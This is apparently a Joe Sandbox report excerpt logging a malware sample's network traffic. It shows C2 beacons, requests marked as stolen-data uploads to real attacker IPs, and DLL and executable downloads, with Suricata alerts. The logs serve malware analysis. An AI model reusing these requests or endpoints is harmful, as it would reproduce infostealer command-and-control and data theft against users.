74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file"------IDGHDGIDAKEBAAKFCGHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 2d 2d 0d 0a Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="file"------FHJKKECFIECAKECAFBGC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="message"wallets------BAFCFHDHIIIECBGCAKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFIIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 2d 2d 0d 0a Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="message"files------KKFBAAFCGIEGDHIEBFII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 2d 2d 0d 0a Data Ascii: ------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file"------BFHDAEHDAKECGCAKFCFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="message"ybncbhylepme------JKFIDGDHJEGIEBFHDGDG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGHDHIDGHIDGIECBKKJJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 35 37 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1005761001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 14:29:48 GMTIf-None-Match: "6733665c-1bda00"
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 42 43 41 37 36 43 38 30 35 33 34 32 32 38 33 31 39 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 2d 2d 0d 0a Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="hwid"D4BCA76C80534228319403------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="build"mars------DGDBAKKJKKECGDGCAECA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 37 36 32 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005762031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 37 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005763001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49751 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49761 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49794 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49805 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49762
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:49755

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
